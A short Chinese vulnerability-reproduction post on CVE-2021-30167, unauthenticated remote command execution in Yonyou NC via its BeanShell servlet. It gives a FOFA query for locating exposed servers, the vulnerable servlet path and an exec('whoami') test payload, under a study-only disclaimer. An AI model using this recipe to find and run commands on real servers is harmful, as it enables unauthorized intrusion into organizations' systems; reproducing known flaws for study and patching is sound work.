用友NC-(CVE-2021-30167)未授权命令执行复现

简介

用友NC对外开放了BeanShell接口，可以在未授权的情况下直接访问该接口，并且构造恶意数据执行代码获取服务器命令执行。

fofa可以直接搜索:

title="YONYOU NC"

POC

拼接代码：

/servlet/~ic/bsh.servlet.BshServlet

漏洞验证

拼接poc代码请求后

测试一下exec函数命令执行

exec("whoami");

声明

提供的技术仅供学习参考测试，利用本文提供的信息造成的直接或简介损失由使用者自行承担。

---

结语

已无暇顾及过去，要向前走。